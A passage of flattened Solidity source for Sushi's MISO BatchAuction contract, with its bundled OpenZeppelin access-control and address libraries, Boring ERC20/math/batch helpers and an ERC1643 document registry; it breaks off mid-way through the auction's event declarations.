bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File contracts/OpenZeppelin/utils/Address.sol pragma solidity 0.6.12; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File contracts/OpenZeppelin/utils/Context.sol pragma solidity 0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File contracts/OpenZeppelin/access/AccessControl.sol pragma solidity 0.6.12; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File contracts/Access/MISOAdminAccess.sol pragma solidity 0.6.12; contract MISOAdminAccess is AccessControl { /// @dev Whether access is initialised. bool private initAccess; /// @notice Events for adding and removing various roles. event AdminRoleGranted( address indexed beneficiary, address indexed caller ); event AdminRoleRemoved( address indexed beneficiary, address indexed caller ); /// @notice The deployer is automatically given the admin role which will allow them to then grant roles to other addresses. constructor() public { } /** * @notice Initializes access controls. * @param _admin Admins address. */ function initAccessControls(address _admin) public { require(!initAccess, "Already initialised"); _setupRole(DEFAULT_ADMIN_ROLE, _admin); initAccess = true; } ///////////// // Lookups // ///////////// /** * @notice Used to check whether an address has the admin role. * @param _address EOA or contract being checked. * @return bool True if the account has the role or false if it does not. */ function hasAdminRole(address _address) public view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, _address); } /////////////// // Modifiers // /////////////// /** * @notice Grants the admin role to an address. * @dev The sender must have the admin role. * @param _address EOA or contract receiving the new role. */ function addAdminRole(address _address) external { grantRole(DEFAULT_ADMIN_ROLE, _address); emit AdminRoleGranted(_address, _msgSender()); } /** * @notice Removes the admin role from an address. * @dev The sender must have the admin role. * @param _address EOA or contract affected. */ function removeAdminRole(address _address) external { revokeRole(DEFAULT_ADMIN_ROLE, _address); emit AdminRoleRemoved(_address, _msgSender()); } } // File contracts/Access/MISOAccessControls.sol pragma solidity 0.6.12; /** * @notice Access Controls * @author Attr: BlockRocket.tech */ contract MISOAccessControls is MISOAdminAccess { /// @notice Role definitions bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant SMART_CONTRACT_ROLE = keccak256("SMART_CONTRACT_ROLE"); bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE"); /// @notice Events for adding and removing various roles event MinterRoleGranted( address indexed beneficiary, address indexed caller ); event MinterRoleRemoved( address indexed beneficiary, address indexed caller ); event OperatorRoleGranted( address indexed beneficiary, address indexed caller ); event OperatorRoleRemoved( address indexed beneficiary, address indexed caller ); event SmartContractRoleGranted( address indexed beneficiary, address indexed caller ); event SmartContractRoleRemoved( address indexed beneficiary, address indexed caller ); /** * @notice The deployer is automatically given the admin role which will allow them to then grant roles to other addresses */ constructor() public { } ///////////// // Lookups // ///////////// /** * @notice Used to check whether an address has the minter role * @param _address EOA or contract being checked * @return bool True if the account has the role or false if it does not */ function hasMinterRole(address _address) public view returns (bool) { return hasRole(MINTER_ROLE, _address); } /** * @notice Used to check whether an address has the smart contract role * @param _address EOA or contract being checked * @return bool True if the account has the role or false if it does not */ function hasSmartContractRole(address _address) public view returns (bool) { return hasRole(SMART_CONTRACT_ROLE, _address); } /** * @notice Used to check whether an address has the operator role * @param _address EOA or contract being checked * @return bool True if the account has the role or false if it does not */ function hasOperatorRole(address _address) public view returns (bool) { return hasRole(OPERATOR_ROLE, _address); } /////////////// // Modifiers // /////////////// /** * @notice Grants the minter role to an address * @dev The sender must have the admin role * @param _address EOA or contract receiving the new role */ function addMinterRole(address _address) external { grantRole(MINTER_ROLE, _address); emit MinterRoleGranted(_address, _msgSender()); } /** * @notice Removes the minter role from an address * @dev The sender must have the admin role * @param _address EOA or contract affected */ function removeMinterRole(address _address) external { revokeRole(MINTER_ROLE, _address); emit MinterRoleRemoved(_address, _msgSender()); } /** * @notice Grants the smart contract role to an address * @dev The sender must have the admin role * @param _address EOA or contract receiving the new role */ function addSmartContractRole(address _address) external { grantRole(SMART_CONTRACT_ROLE, _address); emit SmartContractRoleGranted(_address, _msgSender()); } /** * @notice Removes the smart contract role from an address * @dev The sender must have the admin role * @param _address EOA or contract affected */ function removeSmartContractRole(address _address) external { revokeRole(SMART_CONTRACT_ROLE, _address); emit SmartContractRoleRemoved(_address, _msgSender()); } /** * @notice Grants the operator role to an address * @dev The sender must have the admin role * @param _address EOA or contract receiving the new role */ function addOperatorRole(address _address) external { grantRole(OPERATOR_ROLE, _address); emit OperatorRoleGranted(_address, _msgSender()); } /** * @notice Removes the operator role from an address * @dev The sender must have the admin role * @param _address EOA or contract affected */ function removeOperatorRole(address _address) external { revokeRole(OPERATOR_ROLE, _address); emit OperatorRoleRemoved(_address, _msgSender()); } } // File contracts/Utils/SafeTransfer.sol pragma solidity 0.6.12; contract SafeTransfer { address private constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @dev Helper function to handle both ETH and ERC20 payments function _safeTokenPayment( address _token, address payable _to, uint256 _amount ) internal { if (address(_token) == ETH_ADDRESS) { _safeTransferETH(_to,_amount ); } else { _safeTransfer(_token, _to, _amount); } } /// @dev Helper function to handle both ETH and ERC20 payments function _tokenPayment( address _token, address payable _to, uint256 _amount ) internal { if (address(_token) == ETH_ADDRESS) { _to.transfer(_amount); } else { _safeTransfer(_token, _to, _amount); } } /// @dev Transfer helper from UniswapV2 Router function _safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } /** * There are many non-compliant ERC20 tokens... this can handle most, adapted from UniSwap V2 * Im trying to make it a habit to put external calls last (reentrancy) * You can put this in an internal function if you like. */ function _safeTransfer( address token, address to, uint256 amount ) internal virtual { // solium-disable-next-line security/no-low-level-calls (bool success, bytes memory data) = token.call( // 0xa9059cbb = bytes4(keccak256("transfer(address,uint256)")) abi.encodeWithSelector(0xa9059cbb, to, amount) ); require(success && (data.length == 0 || abi.decode(data, (bool)))); // ERC20 Transfer failed } function _safeTransferFrom( address token, address from, uint256 amount ) internal virtual { // solium-disable-next-line security/no-low-level-calls (bool success, bytes memory data) = token.call( // 0x23b872dd = bytes4(keccak256("transferFrom(address,address,uint256)")) abi.encodeWithSelector(0x23b872dd, from, address(this), amount) ); require(success && (data.length == 0 || abi.decode(data, (bool)))); // ERC20 TransferFrom failed } function _safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function _safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File contracts/interfaces/IERC20.sol pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } // File contracts/Utils/BoringERC20.sol pragma solidity 0.6.12; // solhint-disable avoid-low-level-calls library BoringERC20 { bytes4 private constant SIG_SYMBOL = 0x95d89b41; // symbol() bytes4 private constant SIG_NAME = 0x06fdde03; // name() bytes4 private constant SIG_DECIMALS = 0x313ce567; // decimals() bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256) bytes4 private constant SIG_TRANSFER_FROM = 0x23b872dd; // transferFrom(address,address,uint256) /// @notice Provides a safe ERC20.symbol version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token symbol. function safeSymbol(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_SYMBOL)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } /// @notice Provides a safe ERC20.name version which returns '???' as fallback string. /// @param token The address of the ERC-20 token contract. /// @return (string) Token name. function safeName(IERC20 token) internal view returns (string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_NAME)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } /// @notice Provides a safe ERC20.decimals version which returns '18' as fallback value. /// @param token The address of the ERC-20 token contract. /// @return (uint8) Token decimals. function safeDecimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(SIG_DECIMALS)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } /// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransfer( IERC20 token, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed"); } /// @notice Provides a safe ERC20.transferFrom version for different ERC-20 implementations. /// Reverts on a failed transfer. /// @param token The address of the ERC-20 token. /// @param from Transfer tokens from. /// @param to Transfer tokens to. /// @param amount The token amount. function safeTransferFrom( IERC20 token, address from, address to, uint256 amount ) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER_FROM, from, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: TransferFrom failed"); } } // File contracts/Utils/BoringBatchable.sol pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // solhint-disable avoid-low-level-calls // solhint-disable no-inline-assembly // Audit on 5-Jan-2021 by Keno and BoringCrypto contract BaseBoringBatchable { /// @dev Helper function to extract a useful revert message from a failed call. /// If the returned data is malformed or not correctly abi encoded then this call can fail itself. function _getRevertMsg(bytes memory _returnData) internal pure returns (string memory) { // If the _res length is less than 68, then the transaction failed silently (without a revert message) if (_returnData.length < 68) return "Transaction reverted silently"; assembly { // Slice the sighash. _returnData := add(_returnData, 0x04) } return abi.decode(_returnData, (string)); // All that remains is the revert string } /// @notice Allows batched call to self (this contract). /// @param calls An array of inputs for each call. /// @param revertOnFail If True then reverts after a failed call and stops doing further calls. /// @return successes An array indicating the success of a call, mapped one-to-one to `calls`. /// @return results An array with the returned data of each function call, mapped one-to-one to `calls`. // F1: External is ok here because this is the batch function, adding it to a batch makes no sense // F2: Calls in the batch may be payable, delegatecall operates in the same context, so each call in the batch has access to msg.value // C3: The length of the loop is fully under user control, so can't be exploited // C7: Delegatecall is only used on the same contract, so it's safe function batch(bytes[] calldata calls, bool revertOnFail) external payable returns (bool[] memory successes, bytes[] memory results) { successes = new bool[](calls.length); results = new bytes[](calls.length); for (uint256 i = 0; i < calls.length; i++) { (bool success, bytes memory result) = address(this).delegatecall(calls[i]); require(success || !revertOnFail, _getRevertMsg(result)); successes[i] = success; results[i] = result; } } } contract BoringBatchable is BaseBoringBatchable { /// @notice Call wrapper that performs `ERC20.permit` on `token`. /// Lookup `IERC20.permit`. // F6: Parameters can be used front-run the permit and the user's permit will fail (due to nonce or other revert) // if part of a batch this could be used to grief once as the second call would not need the permit function permitToken( IERC20 token, address from, address to, uint256 amount, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { token.permit(from, to, amount, deadline, v, r, s); } } // File contracts/Utils/BoringMath.sol pragma solidity 0.6.12; /// @notice A library for performing overflow-/underflow-safe math, /// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math). library BoringMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0, "BoringMath: Div zero"); c = a / b; } function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "BoringMath: uint128 Overflow"); c = uint128(a); } function to64(uint256 a) internal pure returns (uint64 c) { require(a <= uint64(-1), "BoringMath: uint64 Overflow"); c = uint64(a); } function to32(uint256 a) internal pure returns (uint32 c) { require(a <= uint32(-1), "BoringMath: uint32 Overflow"); c = uint32(a); } function to16(uint256 a) internal pure returns (uint16 c) { require(a <= uint16(-1), "BoringMath: uint16 Overflow"); c = uint16(a); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint128. library BoringMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint128 a, uint128 b) internal pure returns (uint128 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint64. library BoringMath64 { function add(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint64 a, uint64 b) internal pure returns (uint64 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32. library BoringMath32 { function add(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint32 a, uint32 b) internal pure returns (uint32 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } /// @notice A library for performing overflow-/underflow-safe addition and subtraction on uint32. library BoringMath16 { function add(uint16 a, uint16 b) internal pure returns (uint16 c) { require((c = a + b) >= b, "BoringMath: Add Overflow"); } function sub(uint16 a, uint16 b) internal pure returns (uint16 c) { require((c = a - b) <= a, "BoringMath: Underflow"); } } // File contracts/Utils/Documents.sol pragma solidity 0.6.12; /** * @title Standard implementation of ERC1643 Document management */ contract Documents { struct Document { uint32 docIndex; // Store the document name indexes uint64 lastModified; // Timestamp at which document details was last modified string data; // data of the document that exist off-chain } // mapping to store the documents details in the document mapping(string => Document) internal _documents; // mapping to store the document name indexes mapping(string => uint32) internal _docIndexes; // Array use to store all the document name present in the contracts string[] _docNames; // Document Events event DocumentRemoved(string indexed _name, string _data); event DocumentUpdated(string indexed _name, string _data); /** * @notice Used to attach a new document to the contract, or update the data or hash of an existing attached document * @dev Can only be executed by the owner of the contract. * @param _name Name of the document. It should be unique always * @param _data Off-chain data of the document from where it is accessible to investors/advisors to read. */ function _setDocument(string calldata _name, string calldata _data) internal { require(bytes(_name).length > 0, "Zero name is not allowed"); require(bytes(_data).length > 0, "Should not be a empty data"); // Document storage document = _documents[_name]; if (_documents[_name].lastModified == uint64(0)) { _docNames.push(_name); _documents[_name].docIndex = uint32(_docNames.length); } _documents[_name] = Document(_documents[_name].docIndex, uint64(now), _data); emit DocumentUpdated(_name, _data); } /** * @notice Used to remove an existing document from the contract by giving the name of the document. * @dev Can only be executed by the owner of the contract. * @param _name Name of the document. It should be unique always */ function _removeDocument(string calldata _name) internal { require(_documents[_name].lastModified != uint64(0), "Document should exist"); uint32 index = _documents[_name].docIndex - 1; if (index != _docNames.length - 1) { _docNames[index] = _docNames[_docNames.length - 1]; _documents[_docNames[index]].docIndex = index + 1; } _docNames.pop(); emit DocumentRemoved(_name, _documents[_name].data); delete _documents[_name]; } /** * @notice Used to return the details of a document with a known name (`string`). * @param _name Name of the document * @return string The data associated with the document. * @return uint256 the timestamp at which the document was last modified. */ function getDocument(string calldata _name) external view returns (string memory, uint256) { return ( _documents[_name].data, uint256(_documents[_name].lastModified) ); } /** * @notice Used to retrieve a full list of documents attached to the smart contract. * @return string List of all documents names present in the contract. */ function getAllDocuments() external view returns (string[] memory) { return _docNames; } /** * @notice Used to retrieve the total documents in the smart contract. * @return uint256 Count of the document names present in the contract. */ function getDocumentCount() external view returns (uint256) { return _docNames.length; } /** * @notice Used to retrieve the document name from index in the smart contract. * @return string Name of the document name. */ function getDocumentName(uint256 _index) external view returns (string memory) { require(_index < _docNames.length, "Index out of bounds"); return _docNames[_index]; } } // File contracts/interfaces/IPointList.sol pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // White List interface // ---------------------------------------------------------------------------- interface IPointList { function isInList(address account) external view returns (bool); function hasPoints(address account, uint256 amount) external view returns (bool); function setPoints( address[] memory accounts, uint256[] memory amounts ) external; function initPointList(address accessControl) external ; } // File contracts/interfaces/IMisoMarket.sol pragma solidity 0.6.12; interface IMisoMarket { function init(bytes calldata data) external payable; function initMarket( bytes calldata data ) external; function marketTemplate() external view returns (uint256); } // File contracts/Auctions/BatchAuction.sol pragma solidity 0.6.12; //---------------------------------------------------------------------------------- // I n s t a n t // // .:mmm. .:mmm:. .ii. .:SSSSSSSSSSSSS. .oOOOOOOOOOOOo. // .mMM'':Mm. .:MM'':Mm:. .II: :SSs.......... .oOO'''''''''''OOo. // .:Mm' ':Mm. .:Mm' 'MM:. .II: 'sSSSSSSSSSSSSS:. :OO. .OO: // .'mMm' ':MM:.:MMm' ':MM:. .II: .:...........:SS. 'OOo:.........:oOO' // 'mMm' ':MMmm' 'mMm: II: 'sSSSSSSSSSSSSS' 'oOOOOOOOOOOOO' // //---------------------------------------------------------------------------------- // // Chef Gonpachi's Batch Auction // // An auction where contributions are swaped for a batch of tokens pro-rata // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // The above copyright notice and this permission notice shall be included // in all copies or substantial portions of the Software. // // Made for Sushi.com // // Enjoy. (c) Chef Gonpachi, Kusatoshi, SSMikazu 2021 // <https://github.com/chefgonpachi/MISO/> // // --------------------------------------------------------------------- // SPDX-License-Identifier: GPL-3.0 // --------------------------------------------------------------------- /// @notice Attribution to delta.financial /// @notice Attribution to dutchswap.com contract BatchAuction is IMisoMarket, MISOAccessControls, BoringBatchable, SafeTransfer, Documents, ReentrancyGuard { using BoringMath for uint256; using BoringMath128 for uint128; using BoringMath64 for uint64; using BoringERC20 for IERC20; /// @notice MISOMarket template id for the factory contract. /// @dev For different marketplace types, this must be incremented. uint256 public constant override marketTemplate = 3; /// @dev The multiplier for decimal precision uint256 private constant MISO_PRECISION = 1e18; /// @dev The placeholder ETH address. address private constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /// @notice Main market variables. struct MarketInfo { uint64 startTime; uint64 endTime; uint128 totalTokens; } MarketInfo public marketInfo; /// @notice Market dynamic variables. struct MarketStatus { uint128 commitmentsTotal; uint128 minimumCommitmentAmount; bool finalized; bool usePointList; } MarketStatus public marketStatus; address public auctionToken; /// @notice The currency the crowdsale accepts for payment. Can be ETH or token address. address public paymentCurrency; /// @notice Address that manages auction approvals. address public pointList; address payable public wallet; // Where the auction funds will get paid mapping(address => uint256) public commitments; /// @notice Amount of tokens to claim per address. mapping(address => uint256) public claimed; /// @notice Event for updating auction times. Needs to be before auction starts. event AuctionTimeUpdated(uint256 startTime, uint256 endTime); /// @notice Event for updating auction prices. Needs to be before auction starts. event AuctionPriceUpdated(uint256 minimumCommitmentAmount); /// @notice Event for updating auction wallet. Needs to be before auction starts. event AuctionWalletUpdated(address wallet); /// @notice Event for adding a commitment. event 